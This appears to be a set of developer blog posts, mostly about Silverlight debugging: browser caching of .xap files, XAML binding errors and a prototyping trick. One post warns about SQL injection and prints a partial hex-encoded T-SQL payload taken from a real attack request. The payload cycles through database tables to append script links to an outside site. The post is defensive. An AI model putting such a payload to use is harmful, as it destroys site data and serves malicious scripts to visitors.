Share on Facebook

This blog post is part of my series of posts taken from a presentation I gave in September on SEO for Silverlight Applications.

The other posts in this series can be found here: Part I, Menu in Html and Silverlight, this is the Sitemap demo
Part II, Show Multiple Silverlight Controls in the Same Page with jQuery
Part III, service layer communicatioons - the Glue between the Silverlight and the WebApp
Part IV, Maintaining Browser History in a Silverlight Application

Now the adventures in Silverlight Begin.

SO – commonly encountered problems. Uh, I'm still really nuts about Silverlight and I get so excited to be able to work in it. So please take that statement and keep it in mind while I rant.

I was recently able to participate in the development of a rather ambitious Silverlight application. One which taught me a lot about how to optimize my time, how to find what's really broken, and how to keep the dang debugger attached.

It seems that the .xap file is cached by the browser. It doesn’t seem like it – it is. The Xap file is Cached by the browser.

So this is Good if you’re a web client and you want good response time. This is REALLY HARD if you’re a Silverlight developer trying to make and test a series of incrementally small changes to your Silverlight application. This is doubly complicated if you've got a Silverlight application that uses a separate .dll for business logic. Changing the Business Logic .dll will not "register" with the environment to send a new xap. Either that, or Internet Explorer doesn't think it should have to download a new .xap file to the client for whatever reason.

You know you've got an old copy of the .xap in your cache if your debugging breakpoints are disabled when the control is loaded in the browser. So although this is easily identified and it is easily fixed by clearing your temporary files, It took me literally DAYS to figure it out. Heck, I tried everything. Close Visual Studio, ReBoot My Computer, Search the Internet for answers. That’s Heartbreaking when you're on a fixed timeline.

So, anyway, here’s the magic combination: Tools/Internet Options/Delete/Delete Files/YES/Close/OK
Remember that, Tools/Internet Options/Delete/Delete Files/YES/Close/OK

That's my new routine, I think I should actually add it as a post build action for my silverlight project. Whenever it gets compiled, it will clear the temporary files before launching the debugger when I F5.

Xaml binding to a non-existant object is another problem you may encounter as I did while working in Silverlight.

Two different bindings that have caused me trouble here. One binding is when you add code to your XAML element to bind it’s data to an object that lives in the code behind. The opening edit screen wil be displayed and you’ll be able to enter text in an input area. But as soon as your focus moves from the first , the screen will go white. If that happens, the object in the code behind is null. Just make sure you always have an object created and that you haven't bound to a null object. (makes sense. :-) )

A second white screen situation results when using these techniques I’ve shown you today, for example where the button.xaml template is inserted into the xaml. If those binding styles aren’t present in your resources somewhere you won’t be able to see what happened and the app won’t work.

Normally when I run into this, I like to solve this problem by loading my control up in BLEND, as Blend provides better feedback in some error conditions. But when the xaml has been added dynamically you need to build a throwaway version of your control to get it into blend – or just be very meticulous in comparing your application resources to the resources your code is inserting.

Data-caching – edit a record and save the changes. Bring up the same record again, and the original data, sent down in the first request is used again to load this Silverlight control. Nnavigate to another page, come back in, and you still get the old record. Browsers are notorious at hanging on tenaciously to cached pages. This problem is evident in Ajax applications when sending XMLHTTPRequest GET requests to Internet Explorer. Even when you use all manner of fancy headers like "Pragma: no-cache" or "Cache-Control: must-revalidate" you'll often find that you receive a cached page rather than a 'live' one. Here's something else you can try, which has worked well for me, and essentially only needs one line of Javascript.

		myRand=parseInt(Math.random()*99999999);  // cache buster

As Always, I thank all the generous programmers and contributors who have put these answers up to their Internet sites - you people save my job every day and I would be working in a different line of business if you didn't make your contributions. thanks!

Share on Facebook

There was an interesting topic that came up today on the LinkedIn Minnesota Group - that of an anonymous business that had had their entire SQL database filled with junk from a hack attack.

The first thing that came to my mind there was Sql Injection.  It's insideous, and dangerous, and the crooks are very bold in their efforts to use it. 

I have a perfect example of one of those types of web site visits where the low-life-can-it-be-human (LLCIBH) who was at the page was trying to inject poison into the site.  My sites inform me of any failed access attempts or errors in an email - and that email includes all the information I may need to troubleshoot the problem.  So, on this day I was notified by email of the full contents of the request.

The LLCIBH (translation above) sent a hexidecimal encoded, very long querystring at the site, which when decoded contained SQL that looked something like this:

DECLARE @S CHAR(4000);
SET @S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343
0303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C656374206
12E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622
.................stuff left out here..........
6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D27272729464554434820
4E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F53
45205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));
select @s

--EXEC(@S); 

That mess up there translates into sql that will pull a list of updateable objects from "sysobjects a" then proceed to pull the list, declare a cursor and for EACH and EVERY updateable object found - update that table Appending links to this LLCIBH site.

If this happens to anyone - they should just plan on restoring from backup.  The mess is too insideous - too entangled to fix by hand.  It's basically ruined.

Be Careful Out There.

Bobbi

Share on Facebook

I'm still crazy in love with the promise of Silverlight and so excited to be able to work in it.  So please take that statement and keep it in mind while I rant.

I'm able to participate in the development of a rather ambitious silverlight application.  One which is teaching me a lot about how to optimize my time, how to find what's really broken, and how to keep the dang debugger attached.

It seems that the .xap file is cached by the browser.  This is doubly complicated if you've got a Silverlight application that uses a separate .dll for business logic.  Changing the Business Logic .dll will not "register" with the environment to send a new xap.  Either that, or Internet Explorer doesn't think it should have to download a new .xap file to the client for whatever reason. 

You know you've got an old copy of the .xap in your cache if your debugging breakpoints are disabled when the control is loaded in the browser.  So although this is easily fixed (CLEAR YOUR TEMPORARY FILES)  It took me literally DAYS to figure it out.  Heck, I tried everything.  Close Visual Studio, ReBoot My Computer, Search the Internet for answers.  So Heartbreaking when you're on a fixed timeline.

Tools/Internet Options/Delete/Delete Files/YES/Close/OK

That's my new routine, I'm going to actually add it as a post build action for my silverlight project.  Whenever it gets compiled, it will clear the temporary files before launching the debugger when I F5.

On September 9, 2008, I've got a session on Search Engine Optimization for Silverlight Web Applications at the Minnesota Developer's Conference.  There, I'll be giving examples of how to code your web apps to keep our web OPEN.   This talk will be lots of code and little background, so bring your Inner Geek and be ready to let her out.

 

Share on Facebook

Silverlight applications make a great prototyping tool.  For a project destined as an ASP.NET application, it seems it's faster to give your client an idea of the AJAX functionality you'll build into the final product if you mock up it's functionality really quickly using a Silverlight app and Blend.

I do this by setting the background of the default Page.xaml to my Comp screen.  Then in Blend, I set all the page items over the top of their image, using Grids and StackPanels to position them precisely where they go.

A Note about the Imagebrush idea - this is what happened to me (twice) when I created my imagebrush as a resource and then set the background property to that resource:  In design mode of Blend it shows fine - but in the compiled Silverlight application it's blank.

I found that the imagebrush works better for me in my prototype if I create it in Xaml within my Grid definition - in that case it shows up every time.

	 <Grid.Background>
	

	      <ImageBrush  ImageSource="img/screen.png"/>
	

	    </Grid.Background>